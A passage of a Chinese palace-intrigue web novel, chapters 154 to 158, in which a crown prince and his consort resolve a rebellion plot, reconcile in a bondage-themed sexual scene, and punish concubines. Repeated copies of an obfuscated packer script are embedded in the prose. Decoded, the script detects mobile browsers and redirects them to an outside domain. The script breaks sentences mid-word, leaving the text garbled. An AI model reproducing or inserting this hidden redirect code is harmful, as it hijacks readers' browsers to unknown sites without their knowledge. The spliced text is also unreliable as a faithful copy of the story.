萧临微怔:“先不进宫,宫里——” “是因为她?”崔锦蓦然打断他,指着地上的陆知意问,“殿下为了她,辞了两次早朝!” “我——” 崔锦没有给他解释的机会,直接拔下头上的金簪,运足内力,直叫簪子的尖端射向陆知意胸口。 陆知意瞳孔猛缩,眼底终于泛起惧意,可虚弱的身体此时根本无力躲避金簪。 “砰——” 在金簪即将刺入她胸口时,被萧临的飞镖截断。 陆知意劫后余生,猛地松了口气,希冀的眼神看向萧临,泛着惊喜的情意。 他还是在意她的吗? 崔锦却在愣过后,轻轻开口:“哪怕她要杀了我,我连反击都不可以吗?我并没有想杀她……那不是致命伤。” 但以萧临的角度看,那金簪却是冲着陆知意心口去的。 萧临一慌:“我——” “哈哈哈哈——”陆知意猛地大笑起来,“即使我做过再多错事,殿下还是喜欢我,他舍不得我死……即使我昨夜才给他下过致命**,崔锦啊……你当真可悲,怎么,嫉妒的想要杀了我吗?” “致命**?”崔锦脸色猛然变了。 “没事。”萧临忙道,“我没**,锦儿你听我说,陆氏还不能死,她知道——” “不用说了。”崔锦忽然平静开口,带着一丝决然,“我明白了。” 还没等萧临想清楚她明白了什么,就见崔锦击晕了正口出狂言的陆知意。 紧接着,萧临后脖颈便蓦然一疼。 他对崔锦没有防备,很轻易就被她打晕了。 崔锦接住他,没了方才的惺惺作态,表情平静,眼中却含着浓浓的笑意。 不就是表达深爱么? 这还不简单。 先前萧临那么期待被她捆绑一回,以表在意,成全他又如何? 夫妻做久了,难免失了兴致和情趣,也该换换口味了。 此时,如夏也已将外头都处理好了。 见庆喜进来,崔锦垂眸开口:“太子殿下被陆氏气晕了,本宫扶他回去歇息。” 庆喜神色一慌:“殿下重的很,哪能叫太子妃扶着?奴才们来就是。” 他忙叫人将萧临抬去正院,中途悄悄摸了摸萧临的脉搏。 还活着。 是真被气晕了。 庆喜松了口气,太子妃即使心机深沉,也还是一心为太子殿下的,没见缺了一回早朝,她都急成什么样了? 在将萧临放去正院床上后,他转身道:“今儿外头有些乱,奴才们得顾着些府里和外头,太子殿下就劳烦太子妃照顾了。” 萧临早有部署,他们只需要按部就班抓人进牢就是了。 崔锦也清楚这点,所以掐着时间来给萧临一个终身难忘的阴影。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧临听得一头雾水,闻言忙解释:“你我当然夫妻情深,恩爱不疑,旁人怎能与你比?” 听着像是哄骗的话,却是他的真心话。 但崔锦已经不信了:“殿下还要骗我?” “没有——” “你能为她连辞两次早朝,为她忽视真相,责罚于我,即使她要杀我……你也要不顾一切救下她。”崔锦忽然扯唇笑了一下,“如果这都不算爱,那什么才算?” “从前殿下对我的虚情假意才算爱吗?” 第一百五十四章 锦儿,解开绳子好不好? “怎会是虚情假意?” 萧临气得怒声开口:“我对你真心实意,你当虚情假意,对陆氏逢场作戏,倒累得你猜忌一场了?!” 他太过理直气壮,崔锦怔了一下,泛红的眼睛在苍白的脸上愈发显眼,显得有些可怜巴巴。 萧临顿时心软了:“陆氏狼子野心,意图谋反,我先前是受父皇指示,假意迷惑她,又有皇命在前,不能与你通气……叫你受委屈了。” 他咬重了“父皇”和“皇命”四个字。 又在心里暗骂该死的庆喜。 他晕了那么长时间,不知道告诉崔锦真相?现在还有瞒的必要吗? 蠢货! 见崔锦愣愣的,他放柔了声音:“你若不信,只管叫人去外面打听……现在已经乱起来了。” “昨夜陆氏给我下药,便是因为此事。” “下药?”崔锦握着他的手紧了些。 “别怕。”萧临安抚道,“我没吃,只是假意迷惑陆氏,我与她晚间分睡床榻,也从未与她亲近过……我怎会叫你伤心?” 崔锦沉默下来,怔怔地看着他,眼中一面情深,一面悲伤,看得萧临心都疼起来了。 “你我夫妻情深,又有三个可爱的孩子在膝下,我们一家人本就该和乐圆满……你怎会认为我会爱上旁人?” 话是这么说,但他心中却明白大抵是最近冷漠的态度伤到了崔锦,叫她心生不安了。 方才应是想劝他去上朝,却被陆知意给他下毒的话刺激到,这才不顾一切的绑了他来正院……她怕是觉得只有正院才是最安全的地方。 想到这里,萧临眼神越发柔和:“锦儿别哭……你该相信我,我永远不会弃你于不顾。” 崔锦眼泪掉着,不发一言,却渐渐俯下身,哭倒他怀里。 “我……我以为殿下真的不喜欢我了……” 她哭得撕心裂肺,眼泪几乎浸湿了萧临衣襟:“你那么好,我却身无长处,唯有一腔真心能拿得出手,即便从长姐手中抢来这桩婚事,即便服了好孕丹,我都不敢轻易生子……我怕殿下后悔,我怕你不爱我,我怕你有了真心喜欢的女子,深悔自己的长子长女出于我腹……” “后来殿下处境艰难,我太心疼你,才停了避子药……能留在殿下身边,为你生儿育女,我本该满足的……我本该满足的……” “我不该,也没有资格去插手殿下宠爱谁、喜欢谁,可我心中当真煎熬……看殿下对她笑,我便心生嫉妒,殿下明知她在诬陷我,也选择相信她……我便酸涩暗恨,殿下为了她打破原则,叫她成为唯一的例外,我……我难受的几乎喘不过来气……” “我便是如此善妒狭隘的女子。” 她红着眼睛靠在萧临怀里,哽咽的声音极轻:“我做不到对殿下喜欢别人无动于衷……抱歉,我控制不住自己。” 好孕丹一句话带过,重点都在自己如何深情。 萧临也的确听得心疼不已。 他从不知崔锦心中竟如此不安……还是他给她的安全感太少了,叫她深恐自己得到即失去。 她甚至不敢妄想自己已经得到。 “你我夫妻,何须抱歉二字?”萧临声音柔得几乎能滴出水来,“你从未因为自己的深爱便伤害我,即便绑我来此,也不过是担忧我的安危,即便你心中嫉妒旁人,也从未主动伤害过她们,**,庄清婉……哪个不是罪有应得?” 他早已为崔锦找好借口:“她们屡屡对你不敬,害你数次,你忍无可忍才反击,还要顾及我的名声和感受,委曲求全再三……说来,是我亏欠你才是。” 崔锦眸光微动。 亏欠她? 他说是,那肯定是。 萧临也没有等她说话的意思,自己巴巴说了好一会儿,情话承诺不要钱一样直砸,以图安慰治愈崔锦的情伤。 片刻后,他才试探道:“锦儿,解开绳子好不好?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520921|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔锦抬头看了眼,小心地将偏移了几分的帕子再次垫去他手腕上,却垂下眸不说话。 “怎么了?”萧临十足耐心地问。 崔锦欲言又止,眼底却还带着不安。 萧临张嘴刚要说什么,唇蓦然被堵住,他顿时忘了自己的目的,呼吸急促地回吻,像是要吞了她一般。 崔锦坐的是双月子,好不容易出了月子,又碰上陆知意那摊事,算时间,他已有近半年未与崔锦亲近过。 他想得紧。 唇齿相依间,崔锦轻柔又哽咽的声音响起:“可我……我还是怕……” “真的好怕……” 萧临仰头覆住她的唇,用行动证明自己的情意。 分明手脚都被绑住,不得自由,他却强势入侵。 竟叫崔锦一时有些无所适从。 身处下位者眼神危险逼人,紧握主动权,攥着绳索掌控自由的上位者却如待宰羔羊般,被侵袭得溃不成军。 “锦儿……低头。”他低声诱哄着。 被亲得喘不过气来的崔锦怔怔看了他片刻,竟当真被蛊惑般,再度低下了头。 暧昧旖旎的气息渐渐攀升至整个房间,床幔一摇一晃,临近坠落边缘。 外头阳光扑洒,房内一室暖春。 萧临激动不能自已,不止是身体上的,更多是心理满足。 他知道崔锦深爱他,却从未想到她的爱竟如此浓烈,深厚到叫他胸腔都满是灼意,几乎要烧没了理智。 从未有人如此爱他。 只有崔锦。 他也从未体会过这般爱人的感受,身心合一的愉悦几乎叫他难以自持,恨不能将崔锦融入自己身体。 “锦儿……低头……” 一模一样的话,却叫室内蓦然响起一阵哭声。 绳索是特制的,专防习武之人,但被绑上的床头却脆弱得很。 内力震不断绳索,还震不断床头么? 第一百五十五章 直接坐他怀里撒个娇,他还能再说什么? 正院的门关了大半日。 半下午时,庆喜抓完了人,想来禀报一二,却被如春拦在了门外:“殿下在歇息,太子妃在里面陪着,公公若无要事,不妨等等?” 庆喜一愣,还没醒? 可没多久他就听到里面隐约传来的细碎声音,顿时懂了。 他们站的地方已经够靠外了,离正房将近数十步远,若非他有些功夫在身上……只怕也是听不到的。 “也不是什么急事。” 他笑着站在如春身边:“不过是外头的宵小之辈被处理了,咱家来禀报一声罢了,但不妨事,太子殿下累了大半月,歇息好最要紧。” 如春含笑点头。 里间。 又过了不知多久,暧昧的声响才渐渐平息。 崔锦仍喘的厉害,倚靠在萧临身上缓着体力。 这回她是真豁出去了玩的。 中途被萧临哄着解开了绳索,最后却不知怎得套去了她手腕上,反被萧临制住了。 “锦儿体力不错。”萧临眼眸深邃,嗓音喑哑,“你会武?不如日后我们每日一同练功,可叫你体力更好些。” 今日尽兴了,但本还可以更多。 崔锦翻了个白眼。 缓了好半晌,她才小心翼翼地问:“我会武……殿下不问为何吗?我从前骗了你。” 她声音中犹带方才过激的沙哑,却十分谨慎担忧,含着一丝颤意。 叫萧临听了便心疼。 揽着崔锦腰的手重了些,他柔声道:“崔儒月那般恶毒性子,想来自幼便欺你良多,岳母心疼你,自是要为你寻得良师,好保护自己。” “你初入王府那时,我被**那个毒妇蒙蔽,对你冷落良久,后来即便与你有了感情……你这般患得患失,应是怕我得知你会武,心中不悦吧。” 深爱一个人便是如此。 生怕自己在对方面前有分毫不如意的地方,叫对方不喜。 即使他曾宠过的**也会武,可崔锦心中没有安全感,又怎敢将自己的一切和盘托出? 她连周大儒这个师父都是在为他解围时才透露的,生怕他误会她以势压人。 越是这样想,萧临就越是心疼。 “今日我安了你的心,以后便不必伪装自己。”他轻抚着崔锦的后背,“在我面前,你尽管做自己就是,我们是最亲密的夫妻,本该同舟共济,毫无保留。” 崔锦却轻轻摇了摇头:“夫妻也有同床异梦,我无法看到殿下的心……便总是不安,我……我爱你有多少,有多深,只有自己知道,当极致喜欢一个人时,又怎会毫无顾忌?便是连说句话都想要讨对方欢心,更不希望对方看到自己任何不好的一面。” 说完,她小心地抬头,迟疑而试探地问:“我这般不坦诚,殿下……会怪我吗?” “怎会?” 萧临听完这番话,只觉整颗心都滚烫不已,哪还会想七想八:“你所做的一切都是为了我,即便偶有隐瞒,也并非为了自己私欲……只是想留给我最好的你而已,这般情深,我喜悦疼爱都来不及,怎会怪罪?” 崔锦这才笑了,小心地将脸靠在他颈间。 这才对。 至亲至疏夫妻,即便是真心相爱的夫妻也大多难以做到毫无保留,今日若她应了这话,来日必然做不到。 即便萧临自己或许就会为她找理由,可又何必呢? 有些事,可一可二不可三。 萧临的感情多也好,少也好,她都要一分不漏地留着。 “今日便很好。”萧临忽地道,“若非你会武,我当真不敢想象……” 他话头微顿,心中泛起后怕。 那般尖利的**,还有陆知意倾尽全力的一击,若非崔锦会武,怎能躲过? 他身处这个位置,没办法整日跟在崔锦身边护着她,她能有自保之力,无论是心计还是武力,他都很高兴。 因为靠谁都不如靠自己。 “陆知意知道不少陆家秘辛,她暂时不能死。”他安抚崔锦,也是在承诺,“等撬干净她的嘴,我一定为你报仇。” 他眼中冷意闪过,毫不遮掩。 崔锦轻轻应着,说道:“没关系,我的仇便不是非报不可,只要殿下无恙便好。” 说这话时,她眼眸微闪,被萧临察觉到。 迎着他如有实质的目光,崔锦沉默半晌,才收紧双手,执拗开口:“她曾要害你,即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520922|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有成功,我也不能留她于世……我的仇可以不报,但殿下的仇不行!我不会为你留下这种威胁。” 萧临顿时明白了——她会用自己的方式弄死陆知意。 但他心中却无丝毫嫌隙之意,更不觉得崔锦与从前不一的性格反差太大,叫人不适。 相反,他心中滚烫。 崔锦一直在用自己的方式爱他,无论是费尽心机抢好孕丹换嫁,还是后来做的这些事。 心机深沉又如何?不择手段又如何? 在他面前,她始终是真实的她。 温声细语地聊了会儿,萧临才起身——反贼虽然都已入狱,但一些要紧事还得他亲自处理。 他坐起身穿衣,却忽听崔锦不好意思地低声叫他:“殿下……” “我的绳子……该解了。”话未说完,她脸颊已经爆红。 萧临这才想起此事,忙看了看她手腕,确定没有勒红,才一边给她解开,一边调笑道:“从前竟不知锦儿喜欢这般……倒是我委屈你了。” 崔锦红着脸瞪他:“殿下明知我不是……” 她没说完,萧临也装听不懂。 解开绳子后,他顺手就塞进了怀里。 简单沐浴后,他坐去床边抚了抚崔锦额前汗湿的碎发,柔声开口:“以后若有不满或疑惑,只管冲我发就是,可别冷冰冰的不理人了……那日崔忠进府,我本就是来问个答案,可说要处置你了?” “不就是算计了几个人么?我还没说什么,你就与我生分起来了?”他轻捏了捏崔锦的手,有些怨怪,“往日那般温言软语,能说会道得很,再随便说几句好听话不行?我还能与你计较那些无关紧要的事?” 他连问五句,都是不满。 崔锦也犟,直接坐他怀里撒个娇,他还能再说什么? 给他个台阶,一起下去就是了。 “是……”崔锦不好意思地笑了,“我以后记得了。” “嗯。”萧临眼神柔和下来,“陆家谋反一事牵涉甚广,我恐要忙到半夜了,晚间你先睡。” 崔锦轻轻应了一声,脸颊还犹带红意,艳若桃李。 萧临眼眸微深,呼吸急促几分,忍了忍才快速起身离开。 第一百五十六章 他怎么不直接嫁去崔家呢? 隔了三个时辰,正院的房门终于开了。 萧临脚步轻快地出来,再不见这一个月在陆知意身边那股风雨欲来的死出。 庆喜忙上前禀报:“殿下,刘蒋等几家已经下狱,府邸被禁卫军包围,等候清点,陆良娣与蒋良娣也已送去刑部,府中上下的眼线也清理干净了……对了,去捉拿刘蒋等人时,大理寺卫大人帮了不少忙。” 萧临应了声:“此事毕,自己去账房领赏。” 庆喜顿时面露喜色。 不是直接赏赐,而是去账房领赏……起码也是个一年例银了。 他顿时高兴地谢恩:“奴才谢殿下赏赐!您和太子妃当真是天作之合,就连赏赐都一样大气呢!” 他这话实属奉承,却哄得萧临轻笑起来。 他神色餍足,眉目见尽是愉悦之色。 庆喜便明白了,好听话一叠声儿的说,将正院上下都夸了个遍。 萧临浑身轻快地进了宫。 乾元宫前,陆总督已被当场诛杀。 被清洗过的殿外还残留着淡淡的血腥味,叫站着的官员们战战兢兢,人人自危,而跟着陆总督谋反的那群,已经跪地颤抖,连求饶都词不成句了。 萧临进了内殿,将外头的情况一一禀报。 永隆帝听完,点了点头,声音欣慰:“太子辛苦了。” 他拿起手边的奏折递给萧临:“北境的总督人选,你可有主意?” 萧临低头接过,快速扫过奏折——是吴将军来报,已经控制住了北境反贼,但因其人数众多,如今职位空缺的厉害,急需来人填补。 他斟酌一瞬,拱手道:“回父皇,总督一职到底事关重大,儿臣不敢妄言,只要是父皇信重之辈,必能力卓绝,料想可守我北境无忧,倒是总督之下的几个职位,儿臣有推举之人。” 他说了几个个名字后,自然地道:“还有谢氏长清,儿臣曾与其深交,觉其文武双全,极具谢氏之风,或可担任指挥同知一职。” “谢氏?” 永隆帝眉头一动,片刻后点点头:“你既大力推举,此人必然可用,便依你吧。” 萧临不掺和总督继任的人选,便是在避免自己招了猜忌。 倒是下头几个不大不小的职位,他安插自己的人进去,永隆帝也不会驳了他的面子。 谢长清……也罢了。 崔锦那般女子,谢长清自幼与她长大,爱上是人之常情。 但崔锦对谢长清只有兄妹之情……她所有的深情都给了他。 想通了这点后,萧临倒也没那么介意了,先前崔锦便为了此事与他闹过,他也不愿惹她不快,近日又叫她受了这么多委屈,该好生安慰一二。 崔锦母族无依,谢氏最出息的谢长清又被遣回清河,不能给她依靠。 先前他忽视这点,也难怪崔锦时时不安了——她没有底气。 从三品的指挥同知,以谢长清的能力,往上爬不过时间问题。 当然,还应再提拔崔家一二。 想到这里,他顺口就向永隆帝请了旨,叫崔瞻不必守孝,直接参加来年的科举。 岳父必是盼着儿女前程敞亮的,必然不会介意崔瞻守孝不足三**。 “还有崔四姑娘。”他深思道,“崔尚书救驾而亡,其余荫也不该只惠及长子,他生前那般疼爱四姑娘这个**,此次清缴陆氏叛乱,太子妃虽在内宅,却也出力不少,父皇不如给四姑娘一个县主爵位,以慰功臣之心。” “……” 永隆帝沉默地看着他。 这是他的太子,不是公主,不是儿媳。 可他瞧着,怎么那么像把夫家好东西往娘家扒拉的儿媳妇呢。 谢长清、崔瞻,先前还给崔瞩抢了个九皇子伴读和上书房的名额,现在轮到他小姨子了? 他的爵位是大白菜吗,说给就给? 这儿子到底姓萧还是姓崔! 他怎么不直接嫁去崔家呢?! 永隆帝一口气堵在心头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520923|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,本想一口回绝,可看着萧临诚恳的眼神,他心念电转,倒是想起了崔家的处境——没有实权,多些荣光倒也无妨。 不给封地,也不过是国库每年多拨一份县主的份例罢了,要不了几个钱。 想罢,在萧临期待的目光下,他没好气地一个奏折扔下去砸人:“封号你自己拟,滚去传旨!” “儿臣遵旨,多谢父皇!” 萧临立刻就退下了。 …… 太子府正院。 崔锦坐在上首悠悠喝茶,底下坐了满屋人,有些战战兢兢,坐立不安。 ——以韩奉仪为首,满脸惧怕的都是那日在花园里为了捧陆知意,狂踩崔锦的人。 她们此时悔得肠子都青了。 原以为陆良娣起来了,她们这才想赶个热灶,好在后院过得更滋润些,若能借此得太子青眼就更好了。 可万万没想到……陆良娣的花期这么短! 不,不该说短,该说她压根儿就没有过! 今日陆家谋反的消息传开后,就连迟钝如叶挽棠都明白过来陆知意最近的盛宠是怎么回事了。 萧临与崔锦不过是做戏迷惑陆家,可她们这群蠢货,却上赶着钻进了套。 本不关她们的事,却硬生生被她们自己坑的没了后路。 而经此一事,现在谁也不敢怀疑崔锦在萧临心中的地位了。 ——早间萧临从沁芳院出来,可直接就去了正院,虽是被抬着去的,但直到半下午才出来,便足以证明他对崔锦的在乎。 现在尴尬不安的成了陆知意船上的人。 韩奉仪脸色发白,最为不安。 那日她是嘲讽崔锦最厉害的人,甚至可称犯上了。 迟疑了许久,还不见崔锦说话,她自己便撑不住,腿一软就“扑通”一声跪了下来:“太子妃——” “太子妃!”如夏风风火火地进来,面带喜色,“方才太子殿下去侯府传旨,皇上封了四姑娘为福阳县主!” 第一百五十七章 处置 闻言,众人都是一愣。 “福阳县主?”崔锦面露疑惑。 “正是!”如夏笑盈盈道,“是太子殿下向皇上请旨册封的,以嘉奖太子妃您在内宅配合太子殿下迷惑陆氏之功。” 这功劳是萧临硬扣去崔锦身上的。 但若她真有功,即便恩泽不落在她本人身上,也该落给她的孩子们。 可祥瑞三胎本就已十分得宠,更在满月就被册名上玉牒,平日里宫中的赏赐更是没断过,实在无需什么嘉奖了。 且萧临自认孩子们就算没有这份功劳,也丝毫不影响什么,索性给了崔钤,叫崔家再添荣光,如此崔锦面上也有光。 而听到如夏的禀报,众人俱对视一眼,心有戚戚。 崔锦果然早就知道陆氏要**的事,这一个月来的种种,全都是做戏。 没有掺和此事的人在心中暗自庆幸,而如韩奉仪这群人,便全是慌乱恐惧了。 “太子妃恕罪,太子妃恕罪!” 韩奉仪本就已跪在地上,此时直接就势磕起头来,嘴里也不断道:“妾被罪妇陆氏蒙蔽,误会了太子妃,但那日对您不敬实非妾本意啊,是、是陆氏威胁妾的,彼时她犹得盛宠,妾当真不敢得罪她啊……” 在她之后,那日在场的几人也都纷纷跪了下来,跟着磕头赔罪。 崔锦还在喝着茶,并不作声。 韩奉仪咬了咬牙,藏起眼中的不甘,继续磕头:“太子妃宽宏大量,求您饶过妾一次吧,日后妾必恭谨再三,不敢再犯。” 崔锦不说话,其余人也不敢说话。 安静的屋内,只有她们几人的磕头求饶声,尴尬而丢人。 “不敢再犯?” 崔锦终于开口,轻笑一声:“若真心认错,那你藏于袖中的手在做什么?都快掐出血来了吧?” 韩奉仪脸色一慌,下意识将手藏得更深。 可瞥见众人果然如此的眼神,她才反应过来,忙解释:“妾、妾只是深感自己没大没小,冒犯了太子妃,在心中自责不已……” “哦?不是觉得**难捱,在心中发誓熬过这一劫后,想尽办法得势,再叫本宫生不如死,以报今日之辱?” “没、没有……”韩奉仪脸都白了,“太子妃误会了……” “你说是误会,那就误会吧。”崔锦也无意再与她纠缠,淡淡开口,“奉仪韩氏,不敬本宫,犯上作乱,又与罪妇陆氏过从甚密,恐有勾结……如夏,将其送去刑部审查。” 韩奉仪脸色顿时变了。 众人也都吓了一跳。 刑部好进不好出,且与陆氏这等谋逆之事牵扯上……即便是真无辜,也要脱层皮了。 而且后宅女子,进过一回牢,就算能出来,这辈子也望到头了。 这一招……当真是狠。 “不,不可以……” 韩奉仪挣扎起来,红着眼看向崔锦:“我与陆氏究竟有没有勾结,太子妃心中清楚,你如此陷害于我,不怕我父亲告去太子面前,叫你难堪吗?!” “你与陆氏来往过密,此事满府皆看在眼里。” 崔锦声音平静:“这一个多月以来,你几乎日日去沁芳院,那正是陆氏谋划**的日子,你怎敢说自己分毫不知此事?” 韩奉仪睁大眼睛,一时却不知该说什么。 她是真的不知道。 可正如崔锦所说,她日日去沁芳院,一待就是一两个时辰,她说自己不知道陆家谋反的事,有人信吗? 父亲若得知此事,莫说告去太子面前,只怕会以最快速度与自己断绝关系,以免家族被牵连。 想通了这一层,韩奉仪心如死灰,愣愣跪坐在了地上。 如夏毫不客气地将她拽了起来,往外拖去。 韩奉仪下意识挣扎,眼泪落了满脸,忍不住再次哀求:“太子妃,妾真的知错了,求您大人有大量,饶过妾这一回吧,妾真的知错了,妾再也不敢了——” 她凄厉的尖叫恳求声渐渐远去,震得屋里愈发安静。 其余几人几乎脸色惨白。 韩奉仪的下场,她们谁也不想经历,于是愈发卖力的磕起头来,谁也没敢再像韩奉仪一样面上求饶,心里不甘——她们也没心思去想这些了。 只求别被送去刑部,自己遭罪不说,还要连累家族。 崔锦端起茶杯,平静地看她们磕头求饶。 她当然不能将这几个全都送去刑部,韩奉仪只是杀鸡儆猴的鸡罢了。 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可安奉仪是唯一一个亲自去示好逢迎的,瞧着怯懦,却有魄力得很,正如当初敢为仅是夫人的江柔作伪证一样。 此事中,她没踩正院,但崔锦还是看她很不顺眼。 “安奉仪。”她放下茶盏,道,“识人不清,罚俸半年,禁足半年吧。” 看不顺眼,那就处置。 现在的她在后宅,没必要忍让着谁了。 安奉仪白着脸,眼中隐隐含泪,却不敢反驳崔锦,屈膝应下。 她本就是宫女出身,没有家世可依靠,全凭着资历久才被晋为奉仪,平日里除去正院逢年过节的赏赐,只靠月例银子勉强度日。 一下被罚了半年的月例,还被禁足,可想而知日子会有多难过,那群拜高踩低的人又会有多势利了。 想到这里,她眼睛更红,死死攥着手才没在正院哭出来。 叶挽棠正在兴高采烈地同崔锦说着什么,而素来温和却与人疏离的崔锦竟也与她说笑,亲近得很。 只有叶挽棠能在正院如此松弛,甚至可以赖着不走。 离开时,安奉仪眼中的泪几乎溢满眼眶,只差一点就能尽数掉下来了。 第一百五十八章 他会吃叶挽棠的醋? 苏玉捧着丰厚的赏赐经过她时,淡笑一声。 在这府里待的最久,却也最蠢,没什么深交的必要。 她目不斜视的离开。 安奉仪屈膝恭送,再抬头时,却正萧临从另一边大步走来。 她忙道:“妾给太子殿下请安。” 或许是被说话牵动情绪,又或许是看到萧临这个她依靠着的男人便忍不住了,眼眶中的眼泪大颗大颗落下,如断了线一般,砸在地上都起了一个小水滩。 这动静,萧临再想离开也忽视不了。 他皱起眉:“你怎么了?” “没、没事。” 安奉仪慌了一瞬,忙擦了擦眼泪:“是方才太子妃发落了犯上的韩奉仪,将她送去刑部,妾也因曾去沁芳院而受牵连,被罚了半年月例与禁足,没什么的。” “沁芳院?”萧临眉头顿时皱得更紧,“敢去那种晦气地方,太子妃罚的不冤,你再去抄一百本佛经,去去晦气再出来,省得给太子妃沾上!” 说罢,他拂袖便离开了。 安奉仪愣愣地看着他的背影。 方才,她不小心说出韩奉仪被送走的真正原因,可萧临却没有半分怒气,甚至不曾提及韩奉仪,更对她曾去过沁芳院的事十分厌恶…… 可她也不过是想在这府里有个安生之地,能过得好一些啊。 若她有那些女人的家世,不提崔锦陆知意那般雄厚,只要有苏玉韩奉仪这种家世,她也不会如此艰难。 更不必去为自己钻营什么了。 越是这般想,她越是悲从中来,眼睛红得厉害。 婢女欲言又止,劝道:“奉仪,您别难过,只是半年月例而已,先前太子妃赏过那么多东西,其中还有金叶子金瓜子,靠着这些打点,咱们的日子也不会太难过。” 其实要她说,安奉仪去沁芳院实在是多此一举。 就算搭上重礼,也不会被陆知意高看一眼——她收的可都是如蒋良娣、韩奉仪这种家世不错的,安奉仪无宠无子无家世,怎能被她看在眼里? 偏她一股脑地收拾了好东西,去沁芳院示好。 这不是明晃晃打太子妃的脸么? 太子妃再失势,还有崔谢和祥瑞三胎,连宫里的淑贵妃都隔三岔五送好东西来,十足疼爱,岂是陆知意一时风光能比的? 那么多老人能看透的事,安奉仪却看不透,还自作聪明的去结交示好。 太子妃能放过她? 婢女叹了口气,低声劝慰:“您瞧瞧何徐两位奉仪,与您同样出身同样位份,她们能稳得住,日子便过得住,咱们也该效仿一二才是。” 她说的真心,安奉仪却不知听没听进去,只是失落地点点头,搭着她的手离开。 …… 正院,萧临一进去就看到叶挽棠又在。 “成安宝宝,来笑一个。”叶挽棠做着鬼脸,逗得成安笑个不停。 成安还从未对他这样笑过。 萧临摆手免了她们的请安礼,拉着崔锦坐下:“怎的这么早就起身了?身子可好?” 崔锦耳根微红,轻瞪了他一眼:“都好。” 萧临笑了笑,转移话题:“方才我为四妹妹请封了县主爵位,福阳这个封号怎么样?这是我特意摘的好字。” 福泽深厚,旭日高升。 “四妹妹瞧着很喜欢。”他又道,“我去传旨时,她高兴得很,捧着圣旨一个劲儿的看,岳母瞧着也终于有了笑意,不比先前的郁气结心了。” 看着他隐隐有些邀功的眼神,崔锦很给面子的展颜笑了:“多谢殿下能为四妹妹求来这爵位,自父亲离世后,崔家瞧着荣耀,却说不上话了,如今四妹妹有了爵位,过两年说亲也能寻上好人家了。” 她是真没想到萧临竟能想到为崔钤请封县主。 她也是真的高兴。 非皇室之人能获封爵位,这是大家都认可的殊荣。 两个弟弟可以自己拼前程,可妹妹总是要更艰难些,有个爵位,也能有些底气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520925|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你我夫妻,还用说谢字?想寻个好亲事也容易,等四妹妹再长几年,京城才俊随她挑,我亲自保媒。” 崔锦眸光微动,笑容更深。 她高兴了,萧临也高兴了,轻捏了捏她的手:“以后别说这种客气话,你妹妹便是我妹妹,我岂有不疼爱之理?” “诶?可殿下您对几位公主可没那么好啊。”叶挽棠愣了一下,“您前儿不是还罚了四公主抄经禁足?” “……” 萧临深呼一口气,不断在心里提醒这是个没脑子的,不要计较。 崔锦轻咳一声:“四公主口出妄言,殿下也是在教导妹妹。” 那日是四公主听说她失宠,背后讽刺了几句,却正好被萧临听到,便当场罚了她抄经禁足。 “你还有事吗?”萧临看向叶挽棠,不等她回话就道,“没事就下去吧。” 叶挽棠眨了眨眼,见崔锦微微点头,便乖乖屈膝告退。 临走前,她恋恋不舍地看了成安一眼。 她可喜欢胖宝宝了。 要是能把成安宝宝偷回去就好了。 她走后,萧临抱起成安,不满地道:“你有空也提点提点她吧,这种脑子怎么放出去与人交际?” 他可算知道林参将为什么独独把这个庶女养在正妻身边了。 除去姨娘早逝,怕也是觉得这脑子一般人护不住。 “挽棠真性情,何必要她沾上那等俗事,反污了赤子之心?”崔锦摇了摇头。 心机深沉之人最喜单纯。 不知旁人如何,她自己却是如此。 一个叶挽棠,只要她自己不犯浑,她就护得住。 “你对她倒是宽容喜爱。”萧临低头摸着成安的小手,语气平淡,“倒不见你这般夸过我。” 崔锦眉梢微挑:“殿下不会是吃味了吧?” “跟她?”萧临嗤笑,“当我跟她一样脑子空空,只会养不会转么?” 